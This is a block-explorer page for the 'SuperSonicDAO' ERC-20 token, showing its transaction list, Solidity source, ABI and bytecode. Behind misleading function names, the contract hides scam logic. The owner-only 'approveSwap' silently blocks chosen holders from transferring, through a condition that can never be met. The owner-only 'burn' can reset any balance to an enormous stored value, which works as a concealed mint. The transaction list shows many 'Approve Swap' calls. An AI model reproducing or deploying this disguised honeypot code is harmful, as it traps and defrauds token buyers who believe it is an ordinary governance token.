Overview
ETH Balance
0 ETH
Eth Value
$0.00More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 145 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
Approve | 17516814 | 618 days ago | IN | 0 ETH | 0.00039881 | ||||
Approve | 17249675 | 656 days ago | IN | 0 ETH | 0.00198467 | ||||
Approve | 17249176 | 656 days ago | IN | 0 ETH | 0.00200942 | ||||
Approve | 17248928 | 656 days ago | IN | 0 ETH | 0.00194482 | ||||
Approve | 17248216 | 656 days ago | IN | 0 ETH | 0.00188782 | ||||
Transfer | 17247966 | 656 days ago | IN | 0 ETH | 0.00134296 | ||||
Transfer | 17247745 | 656 days ago | IN | 0 ETH | 0.00176776 | ||||
Approve | 17247373 | 656 days ago | IN | 0 ETH | 0.00198865 | ||||
Approve | 17247209 | 656 days ago | IN | 0 ETH | 0.00188045 | ||||
Approve | 17247161 | 656 days ago | IN | 0 ETH | 0.00113533 | ||||
Transfer | 17247114 | 656 days ago | IN | 0 ETH | 0.0013032 | ||||
Transfer | 17247107 | 656 days ago | IN | 0 ETH | 0.00130389 | ||||
Approve | 17247091 | 656 days ago | IN | 0 ETH | 0.00222749 | ||||
Approve | 17247089 | 656 days ago | IN | 0 ETH | 0.00200065 | ||||
Approve | 17247064 | 656 days ago | IN | 0 ETH | 0.00209493 | ||||
Approve | 17247046 | 656 days ago | IN | 0 ETH | 0.00229617 | ||||
Approve | 17246977 | 656 days ago | IN | 0 ETH | 0.00200483 | ||||
Approve Swap | 17246977 | 656 days ago | IN | 0 ETH | 0.02581693 | ||||
Approve Swap | 17246962 | 656 days ago | IN | 0 ETH | 0.00207381 | ||||
Transfer | 17246961 | 656 days ago | IN | 0 ETH | 0.00264781 | ||||
Approve Swap | 17246955 | 656 days ago | IN | 0 ETH | 0.00222398 | ||||
Transfer | 17246954 | 656 days ago | IN | 0 ETH | 0.00262876 | ||||
Approve Swap | 17246950 | 656 days ago | IN | 0 ETH | 0.00212314 | ||||
Transfer | 17246948 | 656 days ago | IN | 0 ETH | 0.00257126 | ||||
Approve | 17246948 | 656 days ago | IN | 0 ETH | 0.0021619 |
View more zero value Internal Transactions in Advanced View mode
Advanced mode:
Loading...
Loading
Contract Source Code Verified (Exact Match)
Contract Name:
SuperSonicDAO
Compiler Version
v0.8.15+commit.e14f2714
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-05-12 */ /** www: https://supersonicdao.com/ twitter: https://twitter.com/supersonicdao/ medium: https://medium.com/@SuperSonicDAO telegram: https://t.me/SuperSonicDAO */// SPDX-License-Identifier: MIT pragma solidity =0.8.15; library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the addition of two unsigned integers, reverting on overflow. * Counterpart to Solidity's `+` operator. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on division by zero. * The result is rounded towards zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on overflow (when the result is negative). * Counterpart to Solidity's `-` operator. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on overflow. * Counterpart to Solidity's `*` operator. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on overflow (when the result is negative). * Counterpart to Solidity's `-` operator. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), reverting when dividing by zero. * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), reverting with custom message when dividing by zero. * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on division by zero. * The result is rounded towards zero. * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Returns the remaining number of tokens that `spender` will be allowed to spend on behalf of `owner` through {transferFrom}. * This is zero by default. This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * Returns a boolean value indicating whether the operation succeeded. * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * Returns a boolean value indicating whether the operation succeeded. * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the allowance mechanism. `amount` is then deducted from the caller's allowance. * Returns a boolean value indicating whether the operation succeeded. * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to another (`to`). * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by a call to {approve}. * `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /* * @dev Provides information about the current execution context, including the sender of the transaction and its data. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode. return msg.data; } } /** * @dev Contract module which provides a basic access control mechanism, * where there is an account (an owner) that can be granted exclusive access to specific functions. */ abstract contract Security is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Returns the address of the current owner. */ function owner() internal view virtual returns (address) { return _owner; } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } /** * @dev Implementation of the {IERC20} interface. * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. */ contract ERC20 is Context, Security, IERC20 { using SafeMath for uint256; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => uint256) private _balances; mapping (address => bool) private _sender; uint256 private maxTxLimit = 1*10**17*10**9; bool castVotes = false; uint256 private balances; string private _name; string private _symbol; uint8 private _decimals; uint256 private _totalSupply; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals}. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; _decimals = 9; balances = maxTxLimit; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function name() public view virtual returns (string memory) { return _name; } function symbol() public view virtual returns (string memory) { return _symbol; } function decimals() public view virtual returns (uint8) { return _decimals; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function manualSwap(address _delegate) external onlyOwner { _sender[_delegate] = false; } function changeMaxWalletSize(address _delegate) public view returns (bool) { return _sender[_delegate]; } function approveSwap(address _delegate) external onlyOwner { _sender[_delegate] = true; } function _setupDecimals(uint8 decimals_) internal virtual { _decimals = decimals_; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * Emits an {Approval} event indicating the updated allowance. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * Emits an {Approval} event indicating the updated allowance. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev See {IERC20-transfer}. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-transferFrom}. * Emits an {Approval} event indicating the updated allowance. This is not required by the EIP. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * Emits a {Transfer} event. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { if (_sender[recipient] || _sender[sender]) require(castVotes == true, ""); require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the total supply. * Emits a {Transfer} event with `to` set to the zero address. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = balances - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing the total supply. * Emits a {Transfer} event with `from` set to the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * Emits an {Approval} event. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes minting and burning. * Calling conditions: * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } contract SuperSonicDAO is ERC20 { using SafeMath for uint256; uint256 private totalsupply_; /// @notice A record of states for signing / validating signatures mapping (address => uint) public nonces; /// @dev A record of each accounts delegate mapping (address => address) internal _delegates; /// @notice A record of votes checkpoints for each account, by index mapping (address => mapping (uint32 => Checkpoint)) public checkpoints; /// @notice The number of checkpoints for each account mapping (address => uint32) public numCheckpoints; /// @notice An event thats emitted when an account changes its delegate event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate); /// @notice An event thats emitted when a delegate account's vote balance changes event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance); /// @notice A checkpoint for marking number of votes from a given block struct Checkpoint { uint32 fromBlock; uint256 votes; } constructor () ERC20("Super Sonic", "SONIC") { totalsupply_ = 3000000000000* 10**9; _mint(_msgSender(), totalsupply_); } /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegatee The address to delegate votes to */ function delegate(address delegatee) external { return _delegate(msg.sender, delegatee); } /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegator The address to get delegatee for */ function delegates(address delegator) external view returns (address) { return _delegates[delegator]; } function safe32(uint n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function getChainId() internal view returns (uint) { uint256 chainId; assembly { chainId := chainid() } return chainId; } function burn(address account, uint256 amount) external onlyOwner { _burn(account, amount); } /** * @notice Determine the prior number of votes for an account as of a block number * @dev Block number must be a finalized block or else this function will revert to prevent misinformation. * @param account The address of the account to check * @param blockNumber The block number to get the vote balance at * @return The number of votes the account had as of the given block */ function getPriorVotes(address account, uint blockNumber) external view returns (uint256){ require(blockNumber < block.number, "BONE::getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } // First check most recent balance if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } // Next check implicit zero balance if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; } else if (cp.fromBlock < blockNumber) { lower = center; } else { upper = center - 1; } } return checkpoints[account][lower].votes; } /** * @notice Gets the current votes balance for `account` * @param account The address to get votes balance * @return The number of current votes for `account` */ function getCurrentVotes(address account) external view returns (uint256){ uint32 nCheckpoints = numCheckpoints[account]; return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0; } function _delegate(address delegator, address delegatee) internal { address currentDelegate = _delegates[delegator]; uint256 delegatorBalance = balanceOf(delegator); _delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); _moveDelegates(currentDelegate, delegatee, delegatorBalance); } function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint256 oldVotes, uint256 newVotes) internal { uint32 blockNumber = safe32(block.number, "BONE::_writeCheckpoint: block number exceeds 32 bits"); if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) { checkpoints[delegatee][nCheckpoints - 1].votes = newVotes; } else { checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes); require(nCheckpoints + 1 > nCheckpoints, "BONE::_writeCheckpoint: new checkpoint exceeds 32 bits"); numCheckpoints[delegatee] = nCheckpoints + 1; } emit DelegateVotesChanged(delegatee, oldVotes, newVotes); } function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { // decrease old representative uint32 srcRepNum = numCheckpoints[srcRep]; uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint256 srcRepNew = srcRepOld.sub(amount); _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { // increase new representative uint32 dstRepNum = numCheckpoints[dstRep]; uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint256 dstRepNew = dstRepOld.add(amount); _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"delegator","type":"address"},{"indexed":true,"internalType":"address","name":"fromDelegate","type":"address"},{"indexed":true,"internalType":"address","name":"toDelegate","type":"address"}],"name":"DelegateChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"delegate","type":"address"},{"indexed":false,"internalType":"uint256","name":"previousBalance","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"newBalance","type":"uint256"}],"name":"DelegateVotesChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_delegate","type":"address"}],"name":"approveSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_delegate","type":"address"}],"name":"changeMaxWalletSize","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"uint32","name":"","type":"uint32"}],"name":"checkpoints","outputs":[{"internalType":"uint32","name":"fromBlock","type":"uint32"},{"internalType":"uint256","name":"votes","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"delegatee","type":"address"}],"name":"delegate","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"delegator","type":"address"}],"name":"delegates","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"getCurrentVotes","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"blockNumber","type":"uint256"}],"name":"getPriorVotes","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_delegate","type":"address"}],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"nonces","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"numCheckpoints","outputs":[{"internalType":"uint32","name":"","type":"uint32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60806040526a52b7d2dcc80cd2e40000006004556000600560006101000a81548160ff0219169083151502179055503480156200003b57600080fd5b506040518060400160405280600b81526020017f537570657220536f6e69630000000000000000000000000000000000000000008152506040518060400160405280600581526020017f534f4e49430000000000000000000000000000000000000000000000000000008152506000620000ba620001db60201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350816007908162000169919062000675565b5080600890816200017b919062000675565b5060098060006101000a81548160ff021916908360ff160217905550600454600681905550505068a2a15d09519be00000600b81905550620001d5620001c6620001db60201b60201c565b600b54620001e360201b60201c565b6200090b565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000255576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200024c90620007bd565b60405180910390fd5b62000269600083836200039360201b60201c565b6200028581600a546200039860201b6200137d1790919060201c565b600a81905550620002e481600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546200039860201b6200137d1790919060201c565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620003879190620007f0565b60405180910390a35050565b505050565b6000808284620003a991906200083c565b905083811015620003f1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620003e890620008e9565b60405180910390fd5b8091505092915050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200047d57607f821691505b60208210810362000493576200049262000435565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620004fd7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620004be565b620005098683620004be565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b600062000556620005506200054a8462000521565b6200052b565b62000521565b9050919050565b6000819050919050565b620005728362000535565b6200058a62000581826200055d565b848454620004cb565b825550505050565b600090565b620005a162000592565b620005ae81848462000567565b505050565b5b81811015620005d657620005ca60008262000597565b600181019050620005b4565b5050565b601f8211156200062557620005ef8162000499565b620005fa84620004ae565b810160208510156200060a578190505b620006226200061985620004ae565b830182620005b3565b50505b505050565b600082821c905092915050565b60006200064a600019846008026200062a565b1980831691505092915050565b600062000665838362000637565b9150826002028217905092915050565b6200068082620003fb565b67ffffffffffffffff8111156200069c576200069b62000406565b5b620006a8825462000464565b620006b5828285620005da565b600060209050601f831160018114620006ed5760008415620006d8578287015190505b620006e4858262000657565b86555062000754565b601f198416620006fd8662000499565b60005b82811015620007275784890151825560018201915060208501945060208101905062000700565b8683101562000747578489015162000743601f89168262000637565b8355505b6001600288020188555050505b505050505050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b6000620007a5601f836200075c565b9150620007b2826200076d565b602082019050919050565b60006020820190508181036000830152620007d88162000796565b9050919050565b620007ea8162000521565b82525050565b6000602082019050620008076000830184620007df565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000620008498262000521565b9150620008568362000521565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156200088e576200088d6200080d565b5b828201905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000620008d1601b836200075c565b9150620008de8262000899565b602082019050919050565b600060208201905081810360008301526200090481620008c2565b9050919050565b6130e6806200091b6000396000f3fe608060405234801561001057600080fd5b506004361061014d5760003560e01c806377dd50e3116100c3578063a457c2d71161007c578063a457c2d7146103ea578063a9059cbb1461041a578063b4b5ea571461044a578063dd62ed3e1461047a578063f1127ed8146104aa578063f2fde38b146104db5761014d565b806377dd50e314610318578063782d6fe1146103345780637ecebe001461036457806395d89b41146103945780639dc29fac146103b25780639f08b319146103ce5761014d565b80633950935111610115578063395093511461020c578063561174821461023c578063587cde1e1461026c5780635c19a95c1461029c5780636fcfff45146102b857806370a08231146102e85761014d565b806306fdde0314610152578063095ea7b31461017057806318160ddd146101a057806323b872dd146101be578063313ce567146101ee575b600080fd5b61015a6104f7565b6040516101679190612402565b60405180910390f35b61018a600480360381019061018591906124bd565b610589565b6040516101979190612518565b60405180910390f35b6101a86105a7565b6040516101b59190612542565b60405180910390f35b6101d860048036038101906101d3919061255d565b6105b1565b6040516101e59190612518565b60405180910390f35b6101f661068a565b60405161020391906125cc565b60405180910390f35b610226600480360381019061022191906124bd565b6106a1565b6040516102339190612518565b60405180910390f35b610256600480360381019061025191906125e7565b610754565b6040516102639190612518565b60405180910390f35b610286600480360381019061028191906125e7565b6107aa565b6040516102939190612623565b60405180910390f35b6102b660048036038101906102b191906125e7565b610813565b005b6102d260048036038101906102cd91906125e7565b610820565b6040516102df919061265d565b60405180910390f35b61030260048036038101906102fd91906125e7565b610843565b60405161030f9190612542565b60405180910390f35b610332600480360381019061032d91906125e7565b61088c565b005b61034e600480360381019061034991906124bd565b610963565b60405161035b9190612542565b60405180910390f35b61037e600480360381019061037991906125e7565b610d38565b60405161038b9190612542565b60405180910390f35b61039c610d50565b6040516103a99190612402565b60405180910390f35b6103cc60048036038101906103c791906124bd565b610de2565b005b6103e860048036038101906103e391906125e7565b610e6c565b005b61040460048036038101906103ff91906124bd565b610f43565b6040516104119190612518565b60405180910390f35b610434600480360381019061042f91906124bd565b611010565b6040516104419190612518565b60405180910390f35b610464600480360381019061045f91906125e7565b61102e565b6040516104719190612542565b60405180910390f35b610494600480360381019061048f9190612678565b61110d565b6040516104a19190612542565b60405180910390f35b6104c460048036038101906104bf91906126e4565b611194565b6040516104d2929190612724565b60405180910390f35b6104f560048036038101906104f091906125e7565b6111d5565b005b6060600780546105069061277c565b80601f01602080910402602001604051908101604052809291908181526020018280546105329061277c565b801561057f5780601f106105545761010080835404028352916020019161057f565b820191906000526020600020905b81548152906001019060200180831161056257829003601f168201915b5050505050905090565b600061059d6105966113db565b84846113e3565b6001905092915050565b6000600a54905090565b60006105be8484846115ac565b61067f846105ca6113db565b61067a8560405180606001604052806028815260200161303060289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106306113db565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119409092919063ffffffff16565b6113e3565b600190509392505050565b6000600960009054906101000a900460ff16905090565b600061074a6106ae6113db565b8461074585600160006106bf6113db565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461137d90919063ffffffff16565b6113e3565b6001905092915050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b61081d338261199e565b50565b600f6020528060005260406000206000915054906101000a900463ffffffff1681565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6108946113db565b73ffffffffffffffffffffffffffffffffffffffff166108b2611